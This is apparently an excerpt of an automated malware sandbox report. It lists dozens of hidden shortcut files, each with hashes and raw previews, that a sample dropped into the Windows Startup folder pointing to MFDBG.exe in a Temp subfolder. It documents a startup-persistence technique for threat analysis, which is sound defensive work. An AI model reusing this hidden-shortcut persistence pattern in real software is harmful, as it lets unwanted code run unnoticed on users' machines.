Preview:	L..................F...."...]W%.{...Q(..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dde913478f3f4b66b2515de970ea98fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931314424237777
Encrypted:	false
SSDEEP:	24:8GhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MU0R6rMhpBoUBxdRd1nYyg
MD5:	CF878914AA238B6C169743B684C54726
SHA1:	20359C089A109D6D7370656992F8BCBC9061C38A
SHA-256:	39A282B141A1696E1BD98A6189095A18EFC14C13D8FA00F0580198159344B725
SHA-512:	BF7AC92ECE16D2AF6F03243E696B8BD77BCCE828BF30364C84C52DE11582BE95A3594CD89883081BBC4F85E4CCA6156250C58A0C2AD6105B96BB6BA9B51BF3B8
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dee55a598a2e4884956b7924d2644937.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929988370576785
Encrypted:	false
SSDEEP:	24:8dhBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dp0R6rMhpBoUBxdRd1nYyg
MD5:	94BBCE749A0C8D0A7DF11FACF3A03453
SHA1:	E4131F77E717FB0DC5334927F20EE7E6316D45DC
SHA-256:	6554345845E3152561710FA8522BFF2965D92F88106E48E2E54A4E2689023377
SHA-512:	C6C77EAD9B19343595ED62980DBEEB6533411942E11144A8C0E2BFB6C78EAFD7B5ED52D8643F2667487392FC723F5972FBF4CCAA0FE329DCA016D60A9A488BA3
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_def8380d59e54e0f8d0f5f8362f85511.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8nhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:873C0R6rMhpBoUBxdRd1nYyg
MD5:	CE44B5140EF873B123480FF60E472FF0
SHA1:	5E66EBB3D02B686499CD849B6D5DEFFEF129F58D
SHA-256:	CC8EF66D6D055A3F69B6FB73B23C4A0449927D123CF1A027F4F33DD39745022F
SHA-512:	3C989AB0513F879D6AD45FF2C294EC6AD79A37A8C11FF82D02C0FECD08AA9F5798089722606C47844D56FB0E914D7FAE0B5E02CC773EE2A041A247D99D3B3BF9
Malicious:	false
Preview:	L..................F...."...]W%.{...}...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_df03a40df7ad40d0819e45451f9c1fae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940304787350428
Encrypted:	false
SSDEEP:	24:8ThBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nd0R6rMhpBoUBxdRd1nYyg
MD5:	143E54EAAEE3CD71F43F0CC990440C4E
SHA1:	24940BA510042A22C26949A62D8D9472562BAA49
SHA-256:	E021AB986680EEB20615BACCCAE40223CBEB5B90BABEA3B568F184B3F528DE05
SHA-512:	9A02548DD89602927D1119C1245BB827B810389F48BA8DCE26E405C0C7EA3638BE7E9864AED45287F427CAD679F61A03DEA8EF82B6521722EC4AAE90B8BACD95
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_df463de95cfc4ad6b1346b0de02f2218.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934086914766588
Encrypted:	false
SSDEEP:	24:8ahBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QL0R6rMhpBoUBxdRd1nYyg
MD5:	30047CF00B4A3AB6AEBDCD21A35EABE7
SHA1:	72A40BD03BF6B702719AA7AED1AE7B533AC0ABC6
SHA-256:	F4C75907887DDE975A16ACB7E7AC05EC60E364C98BC3E4415B30D975056A8833
SHA-512:	9CAB5C5A84498AD397F66CDC97D61EB6E6B63AC31A55BC62580697ABE48A548F8A45E402FB938F8FA1A674D3B1EB10193B7FA4273569E7BD1D6BC71EE7E2080E
Malicious:	false
Preview:	L..................F...."...]W%.{.....7.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<S:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e005f46db1714f66941dc766c86f6feb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933974535967082
Encrypted:	false
SSDEEP:	24:8xhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BC0R6rMhpBoUBxdRd1nYyg
MD5:	9AC5CC4861E2F269D78CB52E40163B6B
SHA1:	9A10C4FB7A3FD91CA79E286AA44359C10AE11376
SHA-256:	5DDBA4B125B1B673CBE0C4244F66FE558DA97EE1EF0476C4165DF58AB828115E
SHA-512:	4D82ED671DACFD54B7A79EBD89A93D0B642874534087BE42F1DD10859720D913FA65F50BB0EC5F5BE2FB7E663D8CC163D180700542BBE3308A370111924F4476
Malicious:	false
Preview:	L..................F...."...]W%.{....-_.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0940e3ad6d54c9798ce1b470d503ef8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9403188952191535
Encrypted:	false
SSDEEP:	24:8KphBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ue0R6rMhpBoUBxdRd1nYyg
MD5:	A38721060E34BC9B7E6F9F05377144BD
SHA1:	E74A4599FABC2EE204871BE6B274CB49DA9622CA
SHA-256:	9856F15C0585CB186A0E318E74EAB7D7DBD1BDD240697C85F23A94EAD0D78B65
SHA-512:	B0E0F00BE0D0A8514A64FE9EDDF231ACF74C4A1ACC8BC6FEF2D0BD72F505CA3264B4656C0257339964650D4E4DB99DA66618EE5E82077C809AD145715A8E071C
Malicious:	false
Preview:	L..................F...."...]W%.{...i.R.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e095a6273b0d41578f3db1061cacdbeb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9371385952416755
Encrypted:	false
SSDEEP:	24:8CvhBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CzV0R6rMhpBoUBxdRd1nYyg
MD5:	42ECD864D7C9B4A623D449FBADBCC12F
SHA1:	FB6900730CA948D058211F597F7A631C5DF64A75
SHA-256:	CAE091AD4CA05459863DFED68A25929C41F545C217D9AC8CFB453F2496BAD98D
SHA-512:	FE259865A3B833CA03B551705A555C4786555CFB0BE6543FA8EC041CD5EC363757367D912E5B0B0545C2994F043D5759A5095D8958D31095A81BCFE6C51B54C2
Malicious:	false
Preview:	L..................F...."...]W%.{...Us..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Us..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e09f473151f143708d16f28544d8e6f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94238807191131
Encrypted:	false
SSDEEP:	24:808hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80Oe0R6rMhpBoUBxdRd1nYyg
MD5:	629A00140FDB56AD79A893E50529D9E9
SHA1:	E3C12945FA80CDD1036832AC02BDC3E555C13C53
SHA-256:	610FF713D275458302BC069878127D121D9ECB71EC34278445B2718A177A9220
SHA-512:	3D40795842AEEBA3439A0E42F50695EA4D10AE2F0DC822CE48587AD6744D20518A0621FDAA49915B92AE36C2DCB22732729C1CA8DA3E4A2AB0E3E563AB4FDB81
Malicious:	false
Preview:	L..................F...."...]W%.{....L..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e10a0d5600924d7f9711173f58589b12.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928153532521004
Encrypted:	false
SSDEEP:	24:8C9hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KU0R6rMhpBoUBxdRd1nYyg
MD5:	E1527CD429E89ABB9BCAC32D3B0F5B09
SHA1:	87AF18E5F486AFC9CFE92D674F5BFB3885E80093
SHA-256:	D32155B067140EF53992FB7EBDDC962D24265A976433E09C9FEE3BA5EF0033F5
SHA-512:	6B00BFAB7D69D11D594BAFBEF18961D126857AA6A3F74EFEFC9CFD7D63D6942C3124997D94C4E3864BA931D9AE22286D6D57E9E97F2FF1E93A6E43D1D7D88BA2
Malicious:	false
Preview:	L..................F...."...]W%.{...!.l.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e11bd1d4941146a39db31ec8567536fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938866260424666
Encrypted:	false
SSDEEP:	24:8NhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ty0R6rMhpBoUBxdRd1nYyg
MD5:	10ACB65D3D1A1BB8AC305956AC04F76D
SHA1:	FD7A5D74C7CAC855DA728FAAA9452E4AFEC04132
SHA-256:	07D1C38C83B9897D66BA7AFBF32CD42D1FC2858D98E74CEB42A57D2FAC068BD9
SHA-512:	F26A78665FA160B97477EAE6CF5118E16FAEE95CE3DD73220BBFD53E5251A09C733CAE1F5DFD8DB5AFF6FCF55665EE2CDC9F83056A2B12A6BD226138A6B4E8B8
Malicious:	false
Preview:	L..................F...."...]W%.{....-..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e186ad06bd804f24967476b4eab606f8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9389886969774555
Encrypted:	false
SSDEEP:	24:8ShBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Yb0R6rMhpBoUBxdRd1nYyg
MD5:	D92A65506ED1D3154F0EA9C186390A48
SHA1:	E5B382F1C508E14C6E76FF1968B2D643176A7DE3
SHA-256:	71C69836513885B4A83E636D01E6962B58DEDE8731ACC096F736EA4C05951A17
SHA-512:	39BC6A0E3377FF628888B4B833EC80DB5EE046C068E03561F4AAD4257516F8B63C100F4FE5D42C3C5C4EA1BC99E0F4D9BD7B1ECDA094633C91E1C79ED3A847D6
Malicious:	false
Preview:	L..................F...."...]W%.{.....U.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....U.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e20b84685af747ee80c613d4d97e7e0d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935710556267493
Encrypted:	false
SSDEEP:	24:8dGhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dM30R6rMhpBoUBxdRd1nYyg
MD5:	11E0004930864A10C71A6DE63786F5EA
SHA1:	FF72E3C6B61C9C32529EF59206ADC9D072A53E8B
SHA-256:	06BBA420FCB330CDC9444A88570E067C1A7C3C0BA9B447B1BCB1538C4BAAE063
SHA-512:	7704410594FC40C6E6157F82145EF653E3BBF7D48E4F339F593FA1056960785B3EC72CD74F9E25A54D95B2B709943B6DC836A2FD298F922D66D14B0B4487D7B1
Malicious:	false
